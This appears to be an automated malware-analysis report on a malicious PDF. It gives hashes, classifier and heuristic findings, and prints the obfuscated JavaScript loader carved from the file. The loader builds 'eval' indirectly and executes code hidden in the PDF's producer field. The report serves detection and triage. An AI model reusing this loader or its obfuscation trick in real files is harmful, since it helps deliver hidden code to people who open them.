Malicious PDF — malware analysis report

Static analysis result for SHA-256 492dbe9b397f81fd…

MALICIOUS

PDF

22.2 KB Created: 2010-07-25 10:32:51 First seen: 2013-07-12
MD5: c94bbe054859bc17f58db27f7ad2bf01 SHA-1: 0e1aedbfa329fb388aaa3a452c5c5dd26e6553ee SHA-256: 492dbe9b397f81fd022d2cfac040cbec5dfb3d963d2e909643b9253e0be0b5c1
116 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF document was flagged as malicious by an ML classifier with high confidence. Static analysis revealed embedded JavaScript, which is obfuscated and uses String.fromCharCode, indicating an attempt to hide malicious code. The presence of this JavaScript stream suggests the PDF is designed to execute arbitrary code, likely to download and run a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    sxjwp\(sxjwp\('String.fromCharCode\(' + vvsu + '\)'\)\);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x56BD 368 bytes
SHA-256: d31f3e96c60a06d068041bd20f084d62aff8ad2043c30bd43f22ce5b1c209478
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
iepty = app;
nbx = new Date(2010,11,4);
var bspb='';
var wcy = 'e'+nbx.getDay()+'a'+bspb+'l';
wcy = wcy.replace('6','v');
sxjwp=iepty[wcy];
var bspb='';
sxjwp('va'+bspb+'r iat=th'+bspb+'i'+bspb+'s');
wdj='pr' + bspb + nbx.getDay() + bspb + 'uc' +'er';
wdj = wdj.replace('6', 'od');
var vvsu = iat[wdj];
sxjwp(sxjwp('String.fromCharCode(' + vvsu + ')'));

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